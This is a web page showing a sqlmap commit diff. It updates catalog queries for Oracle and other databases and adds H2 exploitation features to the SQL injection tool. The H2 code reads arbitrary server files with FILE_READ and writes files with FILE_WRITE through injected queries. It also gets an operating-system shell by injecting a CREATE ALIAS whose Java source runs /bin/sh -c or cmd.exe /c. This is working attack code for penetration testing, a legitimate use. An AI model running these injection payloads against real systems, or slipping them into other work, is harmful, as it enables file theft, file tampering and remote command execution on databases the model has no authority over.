Skip to content

Commit 38ab43f

Browse files
committed
Improvement for H2 and Oracle
1 parent 94e2184 commit 38ab43f

7 files changed

Lines changed: 88 additions & 21 deletions

File tree

data/xml/queries.xml

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -305,8 +305,8 @@
305305
</statements>
306306
<!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
307307
<procedures>
308-
<inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
309-
<blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
308+
<inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
309+
<blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
310310
</procedures>
311311
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
312312
<dbs>
@@ -598,7 +598,7 @@
598598
<blind/>
599599
</dbs>
600600
<tables>
601-
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U')"/>
601+
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U','V')"/>
602602
<blind/>
603603
</tables>
604604
<columns>
@@ -1983,12 +1983,12 @@
19831983
<blind query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.SCHEMAS"/>
19841984
</dbs>
19851985
<tables>
1986-
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.TABLES" condition="schema_name"/>
1987-
<blind query="SELECT TABLE_NAME FROM SYS.TABLES WHERE SCHEMA_NAME='%s' ORDER BY TABLE_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.TABLES WHERE SCHEMA_NAME='%s'"/>
1986+
<inband query="SELECT SCHEMA_NAME,OBJECT_NAME FROM SYS.OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW')" condition="schema_name"/>
1987+
<blind query="SELECT OBJECT_NAME FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') ORDER BY OBJECT_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')"/>
19881988
</tables>
19891989
<columns>
1990-
<inband query="SELECT COLUMN_NAME,DATA_TYPE_NAME FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" condition="column_name"/>
1991-
<blind query="SELECT COLUMN_NAME FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" query2="SELECT DATA_TYPE_NAME FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'" count="SELECT COUNT(*) FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'" condition="column_name"/>
1990+
<inband query="SELECT COLUMN_NAME,DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" condition="column_name"/>
1991+
<blind query="SELECT COLUMN_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" query2="SELECT DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'" count="SELECT COUNT(*) FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'" condition="column_name"/>
19921992
</columns>
19931993
<dump_table>
19941994
<inband query="SELECT %s FROM %s.%s"/>
@@ -2003,8 +2003,8 @@
20032003
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.TABLES WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT TABLE_NAME FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.TABLES WHERE %s" count2="SELECT COUNT(*) FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" condition="table_name" condition2="schema_name"/>
20042004
</search_table>
20052005
<search_column>
2006-
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.TABLE_COLUMNS WHERE %s" condition="column_name" condition2="schema_name" condition3="table_name"/>
2007-
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.TABLE_COLUMNS WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.TABLE_COLUMNS WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.TABLE_COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.TABLE_COLUMNS WHERE SCHEMA_NAME='%s'" condition="column_name" condition2="schema_name" condition3="table_name"/>
2006+
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.COLUMNS WHERE %s" condition="column_name" condition2="schema_name" condition3="table_name"/>
2007+
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.COLUMNS WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" condition="column_name" condition2="schema_name" condition3="table_name"/>
20082008
</search_column>
20092009
</dbms>
20102010
</root>

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.7.96"
23+
VERSION = "1.10.7.97"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

lib/takeover/abstraction.py

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,9 @@ def execCmd(self, cmd, silent=False):
5858
elif Backend.isDbms(DBMS.MSSQL):
5959
self.xpCmdshellExecCmd(cmd, silent=silent)
6060

61+
elif Backend.isDbms(DBMS.H2):
62+
self.h2ExecCmd(cmd, silent=silent)
63+
6164
else:
6265
errMsg = "Feature not yet implemented for the back-end DBMS"
6366
raise SqlmapUnsupportedFeatureException(errMsg)
@@ -77,6 +80,9 @@ def evalCmd(self, cmd, first=None, last=None):
7780
elif Backend.isDbms(DBMS.MSSQL):
7881
retVal = self.xpCmdshellEvalCmd(cmd, first, last)
7982

83+
elif Backend.isDbms(DBMS.H2):
84+
retVal = self.h2EvalCmd(cmd, first, last)
85+
8086
else:
8187
errMsg = "Feature not yet implemented for the back-end DBMS"
8288
raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/h2/filesystem.py

Lines changed: 35 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,14 +5,43 @@
55
See the file 'LICENSE' for copying permission
66
"""
77

8-
from lib.core.exception import SqlmapUnsupportedFeatureException
8+
from lib.core.common import checkFile
9+
from lib.core.convert import getText
10+
from lib.core.data import kb
11+
from lib.core.data import logger
12+
from lib.core.enums import CHARSET_TYPE
13+
from lib.core.enums import EXPECTED
14+
from lib.request import inject
915
from plugins.generic.filesystem import Filesystem as GenericFilesystem
1016

1117
class Filesystem(GenericFilesystem):
12-
def readFile(self, remoteFile):
13-
errMsg = "on H2 it is not possible to read files"
14-
raise SqlmapUnsupportedFeatureException(errMsg)
18+
def nonStackedReadFile(self, remoteFile):
19+
if not kb.bruteMode:
20+
infoMsg = "fetching file: '%s'" % remoteFile
21+
logger.info(infoMsg)
22+
23+
# NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required)
24+
result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
25+
26+
return result
27+
28+
def stackedReadFile(self, remoteFile):
29+
# H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive
30+
return self.nonStackedReadFile(remoteFile)
1531

1632
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
17-
errMsg = "on H2 it is not possible to write files"
18-
raise SqlmapUnsupportedFeatureException(errMsg)
33+
checkFile(localFile)
34+
self.checkDbmsOs()
35+
36+
with open(localFile, "rb") as f:
37+
content = getText(f.read())
38+
39+
infoMsg = "writing the file content to '%s'" % remoteFile
40+
logger.info(infoMsg)
41+
42+
# NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no
43+
# stacked queries (the write happens as a side effect over UNION/error/blind). The content is passed
44+
# as a string literal (STRINGTOUTF8) so it survives sqlmap's CHAR()-encoding (unlike an X'..' literal)
45+
inject.getValue("CAST(FILE_WRITE(STRINGTOUTF8('%s'),'%s') AS INT)" % (content.replace("'", "''"), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
46+
47+
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)

plugins/dbms/h2/fingerprint.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -119,3 +119,10 @@ def checkDbms(self):
119119
def getHostname(self):
120120
warnMsg = "on H2 it is not possible to enumerate the hostname"
121121
logger.warning(warnMsg)
122+
123+
def checkDbmsOs(self, detailed=False):
124+
if Backend.getOs():
125+
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
126+
logger.info(infoMsg)
127+
else:
128+
self.userChooseDbmsOs()

plugins/dbms/h2/takeover.py

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,17 +5,42 @@
55
See the file 'LICENSE' for copying permission
66
"""
77

8+
from lib.core.common import Backend
9+
from lib.core.common import randomStr
10+
from lib.core.data import conf
11+
from lib.core.data import kb
12+
from lib.core.enums import OS
813
from lib.core.exception import SqlmapUnsupportedFeatureException
14+
from lib.request import inject
915
from plugins.generic.takeover import Takeover as GenericTakeover
1016

1117
class Takeover(GenericTakeover):
1218
def osCmd(self):
13-
errMsg = "on H2 it is not possible to execute commands"
14-
raise SqlmapUnsupportedFeatureException(errMsg)
19+
self._createExecAlias()
20+
self.runCmd(conf.osCmd)
1521

1622
def osShell(self):
17-
errMsg = "on H2 it is not possible to execute commands"
18-
raise SqlmapUnsupportedFeatureException(errMsg)
23+
self._createExecAlias()
24+
self.shell()
25+
26+
def _createExecAlias(self):
27+
# NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids
28+
# single-quote escaping and survives stacked-query injection intact
29+
if not kb.get("h2ExecAlias"):
30+
kb.h2ExecAlias = randomStr(lowercase=True)
31+
argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"'
32+
# NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL
33+
# statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java
34+
source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv
35+
inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source))
36+
37+
def h2ExecCmd(self, cmd, silent=False):
38+
self._createExecAlias()
39+
inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")))
40+
41+
def h2EvalCmd(self, cmd, first=None, last=None):
42+
self._createExecAlias()
43+
return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False)
1944

2045
def osPwn(self):
2146
errMsg = "on H2 it is not possible to establish an "

plugins/generic/filesystem.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -229,7 +229,7 @@ def readFile(self, remoteFile):
229229
logger.debug(debugMsg)
230230

231231
fileContent = self.stackedReadFile(remoteFile)
232-
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL):
232+
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2):
233233
debugMsg = "going to try to read the file with non-stacked query "
234234
debugMsg += "SQL injection technique"
235235
logger.debug(debugMsg)

0 commit comments

Comments
 (0)